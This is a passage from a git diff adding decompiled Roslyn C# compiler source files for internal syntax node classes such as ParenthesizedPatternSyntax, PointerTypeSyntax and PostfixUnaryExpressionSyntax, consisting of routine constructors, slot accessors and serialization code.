((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)blockSyntax); + block = blockSyntax; + } + ExpressionSyntax expressionSyntax = (ExpressionSyntax)reader.ReadValue(); + if (expressionSyntax != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expressionSyntax); + expressionBody = expressionSyntax; + } + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)attributeLists); + writer.WriteValue((IObjectWritable)(object)modifiers); + writer.WriteValue((IObjectWritable)(object)returnType); + writer.WriteValue((IObjectWritable)(object)parameterList); + writer.WriteValue((IObjectWritable)(object)arrowToken); + writer.WriteValue((IObjectWritable)(object)block); + writer.WriteValue((IObjectWritable)(object)expressionBody); + } + + static ParenthesizedLambdaExpressionSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(ParenthesizedLambdaExpressionSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new ParenthesizedLambdaExpressionSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/ParenthesizedPatternSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/ParenthesizedPatternSyntax.cs new file mode 100644 index 0000000..2bd350e --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/ParenthesizedPatternSyntax.cs @@ -0,0 +1,141 @@ +using System; +using System.Collections.Generic; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class ParenthesizedPatternSyntax : PatternSyntax +{ + internal readonly SyntaxToken openParenToken; + + internal readonly PatternSyntax pattern; + + internal readonly SyntaxToken closeParenToken; + + public SyntaxToken OpenParenToken => openParenToken; + + public PatternSyntax Pattern => pattern; + + public SyntaxToken CloseParenToken => closeParenToken; + + internal ParenthesizedPatternSyntax(SyntaxKind kind, SyntaxToken openParenToken, PatternSyntax pattern, SyntaxToken closeParenToken, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 3; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)openParenToken); + this.openParenToken = openParenToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)pattern); + this.pattern = pattern; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)closeParenToken); + this.closeParenToken = closeParenToken; + } + + internal ParenthesizedPatternSyntax(SyntaxKind kind, SyntaxToken openParenToken, PatternSyntax pattern, SyntaxToken closeParenToken, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 3; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)openParenToken); + this.openParenToken = openParenToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)pattern); + this.pattern = pattern; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)closeParenToken); + this.closeParenToken = closeParenToken; + } + + internal ParenthesizedPatternSyntax(SyntaxKind kind, SyntaxToken openParenToken, PatternSyntax pattern, SyntaxToken closeParenToken) + : base(kind) + { + ((GreenNode)this).SlotCount = 3; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)openParenToken); + this.openParenToken = openParenToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)pattern); + this.pattern = pattern; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)closeParenToken); + this.closeParenToken = closeParenToken; + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => openParenToken, + 1 => pattern, + 2 => closeParenToken, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.ParenthesizedPatternSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitParenthesizedPattern(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitParenthesizedPattern(this); + } + + public ParenthesizedPatternSyntax Update(SyntaxToken openParenToken, PatternSyntax pattern, SyntaxToken closeParenToken) + { + if (openParenToken != OpenParenToken || pattern != Pattern || closeParenToken != CloseParenToken) + { + ParenthesizedPatternSyntax parenthesizedPatternSyntax = SyntaxFactory.ParenthesizedPattern(openParenToken, pattern, closeParenToken); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + parenthesizedPatternSyntax = GreenNodeExtensions.WithDiagnosticsGreen(parenthesizedPatternSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + parenthesizedPatternSyntax = GreenNodeExtensions.WithAnnotationsGreen(parenthesizedPatternSyntax, (IEnumerable)annotations); + } + return parenthesizedPatternSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new ParenthesizedPatternSyntax(base.Kind, openParenToken, pattern, closeParenToken, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new ParenthesizedPatternSyntax(base.Kind, openParenToken, pattern, closeParenToken, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal ParenthesizedPatternSyntax(ObjectReader reader) + : base(reader) + { + ((GreenNode)this).SlotCount = 3; + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + openParenToken = syntaxToken; + PatternSyntax patternSyntax = (PatternSyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)patternSyntax); + pattern = patternSyntax; + SyntaxToken syntaxToken2 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken2); + closeParenToken = syntaxToken2; + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)openParenToken); + writer.WriteValue((IObjectWritable)(object)pattern); + writer.WriteValue((IObjectWritable)(object)closeParenToken); + } + + static ParenthesizedPatternSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(ParenthesizedPatternSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new ParenthesizedPatternSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/ParenthesizedVariableDesignationSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/ParenthesizedVariableDesignationSyntax.cs new file mode 100644 index 0000000..353adf6 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/ParenthesizedVariableDesignationSyntax.cs @@ -0,0 +1,163 @@ +using System; +using System.Collections.Generic; +using Microsoft.CodeAnalysis.Syntax.InternalSyntax; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class ParenthesizedVariableDesignationSyntax : VariableDesignationSyntax +{ + internal readonly SyntaxToken openParenToken; + + internal readonly GreenNode? variables; + + internal readonly SyntaxToken closeParenToken; + + public SyntaxToken OpenParenToken => openParenToken; + + public SeparatedSyntaxList Variables => new SeparatedSyntaxList(SyntaxList.op_Implicit(new SyntaxList(variables))); + + public SyntaxToken CloseParenToken => closeParenToken; + + internal ParenthesizedVariableDesignationSyntax(SyntaxKind kind, SyntaxToken openParenToken, GreenNode? variables, SyntaxToken closeParenToken, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 3; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)openParenToken); + this.openParenToken = openParenToken; + if (variables != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(variables); + this.variables = variables; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)closeParenToken); + this.closeParenToken = closeParenToken; + } + + internal ParenthesizedVariableDesignationSyntax(SyntaxKind kind, SyntaxToken openParenToken, GreenNode? variables, SyntaxToken closeParenToken, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 3; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)openParenToken); + this.openParenToken = openParenToken; + if (variables != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(variables); + this.variables = variables; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)closeParenToken); + this.closeParenToken = closeParenToken; + } + + internal ParenthesizedVariableDesignationSyntax(SyntaxKind kind, SyntaxToken openParenToken, GreenNode? variables, SyntaxToken closeParenToken) + : base(kind) + { + ((GreenNode)this).SlotCount = 3; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)openParenToken); + this.openParenToken = openParenToken; + if (variables != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(variables); + this.variables = variables; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)closeParenToken); + this.closeParenToken = closeParenToken; + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => openParenToken, + 1 => variables, + 2 => closeParenToken, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.ParenthesizedVariableDesignationSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitParenthesizedVariableDesignation(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitParenthesizedVariableDesignation(this); + } + + public ParenthesizedVariableDesignationSyntax Update(SyntaxToken openParenToken, SeparatedSyntaxList variables, SyntaxToken closeParenToken) + { + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + if (openParenToken == OpenParenToken) + { + SeparatedSyntaxList val = Variables; + if (!((ref variables) != (ref val)) && closeParenToken == CloseParenToken) + { + return this; + } + } + ParenthesizedVariableDesignationSyntax parenthesizedVariableDesignationSyntax = SyntaxFactory.ParenthesizedVariableDesignation(openParenToken, variables, closeParenToken); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + parenthesizedVariableDesignationSyntax = GreenNodeExtensions.WithDiagnosticsGreen(parenthesizedVariableDesignationSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + parenthesizedVariableDesignationSyntax = GreenNodeExtensions.WithAnnotationsGreen(parenthesizedVariableDesignationSyntax, (IEnumerable)annotations); + } + return parenthesizedVariableDesignationSyntax; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new ParenthesizedVariableDesignationSyntax(base.Kind, openParenToken, variables, closeParenToken, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new ParenthesizedVariableDesignationSyntax(base.Kind, openParenToken, variables, closeParenToken, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal ParenthesizedVariableDesignationSyntax(ObjectReader reader) + : base(reader) + { + //IL_002e: Unknown result type (might be due to invalid IL or missing references) + //IL_0034: Expected O, but got Unknown + ((GreenNode)this).SlotCount = 3; + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + openParenToken = syntaxToken; + GreenNode val = (GreenNode)reader.ReadValue(); + if (val != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(val); + variables = val; + } + SyntaxToken syntaxToken2 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken2); + closeParenToken = syntaxToken2; + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)openParenToken); + writer.WriteValue((IObjectWritable)(object)variables); + writer.WriteValue((IObjectWritable)(object)closeParenToken); + } + + static ParenthesizedVariableDesignationSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(ParenthesizedVariableDesignationSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new ParenthesizedVariableDesignationSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/PatternSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/PatternSyntax.cs new file mode 100644 index 0000000..1a07766 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/PatternSyntax.cs @@ -0,0 +1,21 @@ +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal abstract class PatternSyntax : ExpressionOrPatternSyntax +{ + internal PatternSyntax(SyntaxKind kind, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + } + + internal PatternSyntax(SyntaxKind kind) + : base(kind) + { + } + + protected PatternSyntax(ObjectReader reader) + : base(reader) + { + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/PointerTypeSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/PointerTypeSyntax.cs new file mode 100644 index 0000000..d3f0ef4 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/PointerTypeSyntax.cs @@ -0,0 +1,126 @@ +using System; +using System.Collections.Generic; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class PointerTypeSyntax : TypeSyntax +{ + internal readonly TypeSyntax elementType; + + internal readonly SyntaxToken asteriskToken; + + public TypeSyntax ElementType => elementType; + + public SyntaxToken AsteriskToken => asteriskToken; + + internal PointerTypeSyntax(SyntaxKind kind, TypeSyntax elementType, SyntaxToken asteriskToken, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 2; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)elementType); + this.elementType = elementType; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)asteriskToken); + this.asteriskToken = asteriskToken; + } + + internal PointerTypeSyntax(SyntaxKind kind, TypeSyntax elementType, SyntaxToken asteriskToken, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 2; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)elementType); + this.elementType = elementType; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)asteriskToken); + this.asteriskToken = asteriskToken; + } + + internal PointerTypeSyntax(SyntaxKind kind, TypeSyntax elementType, SyntaxToken asteriskToken) + : base(kind) + { + ((GreenNode)this).SlotCount = 2; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)elementType); + this.elementType = elementType; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)asteriskToken); + this.asteriskToken = asteriskToken; + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => elementType, + 1 => asteriskToken, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.PointerTypeSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitPointerType(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitPointerType(this); + } + + public PointerTypeSyntax Update(TypeSyntax elementType, SyntaxToken asteriskToken) + { + if (elementType != ElementType || asteriskToken != AsteriskToken) + { + PointerTypeSyntax pointerTypeSyntax = SyntaxFactory.PointerType(elementType, asteriskToken); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + pointerTypeSyntax = GreenNodeExtensions.WithDiagnosticsGreen(pointerTypeSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + pointerTypeSyntax = GreenNodeExtensions.WithAnnotationsGreen(pointerTypeSyntax, (IEnumerable)annotations); + } + return pointerTypeSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new PointerTypeSyntax(base.Kind, elementType, asteriskToken, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new PointerTypeSyntax(base.Kind, elementType, asteriskToken, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal PointerTypeSyntax(ObjectReader reader) + : base(reader) + { + ((GreenNode)this).SlotCount = 2; + TypeSyntax typeSyntax = (TypeSyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)typeSyntax); + elementType = typeSyntax; + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + asteriskToken = syntaxToken; + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)elementType); + writer.WriteValue((IObjectWritable)(object)asteriskToken); + } + + static PointerTypeSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(PointerTypeSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new PointerTypeSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/PositionalPatternClauseSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/PositionalPatternClauseSyntax.cs new file mode 100644 index 0000000..50a1f59 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/PositionalPatternClauseSyntax.cs @@ -0,0 +1,163 @@ +using System; +using System.Collections.Generic; +using Microsoft.CodeAnalysis.Syntax.InternalSyntax; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class PositionalPatternClauseSyntax : CSharpSyntaxNode +{ + internal readonly SyntaxToken openParenToken; + + internal readonly GreenNode? subpatterns; + + internal readonly SyntaxToken closeParenToken; + + public SyntaxToken OpenParenToken => openParenToken; + + public SeparatedSyntaxList Subpatterns => new SeparatedSyntaxList(SyntaxList.op_Implicit(new SyntaxList(subpatterns))); + + public SyntaxToken CloseParenToken => closeParenToken; + + internal PositionalPatternClauseSyntax(SyntaxKind kind, SyntaxToken openParenToken, GreenNode? subpatterns, SyntaxToken closeParenToken, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 3; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)openParenToken); + this.openParenToken = openParenToken; + if (subpatterns != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(subpatterns); + this.subpatterns = subpatterns; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)closeParenToken); + this.closeParenToken = closeParenToken; + } + + internal PositionalPatternClauseSyntax(SyntaxKind kind, SyntaxToken openParenToken, GreenNode? subpatterns, SyntaxToken closeParenToken, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 3; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)openParenToken); + this.openParenToken = openParenToken; + if (subpatterns != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(subpatterns); + this.subpatterns = subpatterns; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)closeParenToken); + this.closeParenToken = closeParenToken; + } + + internal PositionalPatternClauseSyntax(SyntaxKind kind, SyntaxToken openParenToken, GreenNode? subpatterns, SyntaxToken closeParenToken) + : base(kind) + { + ((GreenNode)this).SlotCount = 3; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)openParenToken); + this.openParenToken = openParenToken; + if (subpatterns != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(subpatterns); + this.subpatterns = subpatterns; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)closeParenToken); + this.closeParenToken = closeParenToken; + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => openParenToken, + 1 => subpatterns, + 2 => closeParenToken, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.PositionalPatternClauseSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitPositionalPatternClause(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitPositionalPatternClause(this); + } + + public PositionalPatternClauseSyntax Update(SyntaxToken openParenToken, SeparatedSyntaxList subpatterns, SyntaxToken closeParenToken) + { + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + if (openParenToken == OpenParenToken) + { + SeparatedSyntaxList val = Subpatterns; + if (!((ref subpatterns) != (ref val)) && closeParenToken == CloseParenToken) + { + return this; + } + } + PositionalPatternClauseSyntax positionalPatternClauseSyntax = SyntaxFactory.PositionalPatternClause(openParenToken, subpatterns, closeParenToken); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + positionalPatternClauseSyntax = GreenNodeExtensions.WithDiagnosticsGreen(positionalPatternClauseSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + positionalPatternClauseSyntax = GreenNodeExtensions.WithAnnotationsGreen(positionalPatternClauseSyntax, (IEnumerable)annotations); + } + return positionalPatternClauseSyntax; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new PositionalPatternClauseSyntax(base.Kind, openParenToken, subpatterns, closeParenToken, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new PositionalPatternClauseSyntax(base.Kind, openParenToken, subpatterns, closeParenToken, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal PositionalPatternClauseSyntax(ObjectReader reader) + : base(reader) + { + //IL_002e: Unknown result type (might be due to invalid IL or missing references) + //IL_0034: Expected O, but got Unknown + ((GreenNode)this).SlotCount = 3; + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + openParenToken = syntaxToken; + GreenNode val = (GreenNode)reader.ReadValue(); + if (val != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(val); + subpatterns = val; + } + SyntaxToken syntaxToken2 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken2); + closeParenToken = syntaxToken2; + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)openParenToken); + writer.WriteValue((IObjectWritable)(object)subpatterns); + writer.WriteValue((IObjectWritable)(object)closeParenToken); + } + + static PositionalPatternClauseSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(PositionalPatternClauseSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new PositionalPatternClauseSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/PostfixUnaryExpressionSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/PostfixUnaryExpressionSyntax.cs new file mode 100644 index 0000000..2d7de6c --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/PostfixUnaryExpressionSyntax.cs @@ -0,0 +1,126 @@ +using System; +using System.Collections.Generic; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class PostfixUnaryExpressionSyntax : ExpressionSyntax +{ + internal readonly ExpressionSyntax operand; + + internal readonly SyntaxToken operatorToken; + + public ExpressionSyntax Operand => operand; + + public SyntaxToken OperatorToken => operatorToken; + + internal PostfixUnaryExpressionSyntax(SyntaxKind kind, ExpressionSyntax operand, SyntaxToken operatorToken, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 2; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)operand); + this.operand = operand; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)operatorToken); + this.operatorToken = operatorToken; + } + + internal PostfixUnaryExpressionSyntax(SyntaxKind kind, ExpressionSyntax operand, SyntaxToken operatorToken, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 2; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)operand); + this.operand = operand; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)operatorToken); + this.operatorToken = operatorToken; + } + + internal PostfixUnaryExpressionSyntax(SyntaxKind kind, ExpressionSyntax operand, SyntaxToken operatorToken) + : base(kind) + { + ((GreenNode)this).SlotCount = 2; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)operand); + this.operand = operand; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)operatorToken); + this.operatorToken = operatorToken; + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => operand, + 1 => operatorToken, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.PostfixUnaryExpressionSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitPostfixUnaryExpression(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitPostfixUnaryExpression(this); + } + + public PostfixUnaryExpressionSyntax Update(ExpressionSyntax operand, SyntaxToken operatorToken) + { + if (operand != Operand || operatorToken != OperatorToken) + { + PostfixUnaryExpressionSyntax postfixUnaryExpressionSyntax = SyntaxFactory.PostfixUnaryExpression(base.Kind, operand, operatorToken); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + postfixUnaryExpressionSyntax = GreenNodeExtensions.WithDiagnosticsGreen(postfixUnaryExpressionSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + postfixUnaryExpressionSyntax = GreenNodeExtensions.WithAnnotationsGreen(postfixUnaryExpressionSyntax, (IEnumerable)annotations); + } + return postfixUnaryExpressionSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new PostfixUnaryExpressionSyntax(base.Kind, operand, operatorToken, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new PostfixUnaryExpressionSyntax(base.Kind, operand, operatorToken, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal PostfixUnaryExpressionSyntax(ObjectReader reader) + : base(reader) + { + ((GreenNode)this).SlotCount = 2; + ExpressionSyntax expressionSyntax = (ExpressionSyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expressionSyntax); + operand = expressionSyntax; + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + operatorToken = syntaxToken; + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)operand); + writer.WriteValue((IObjectWritable)(object)operatorToken); + } + + static PostfixUnaryExpressionSyntax() + { + 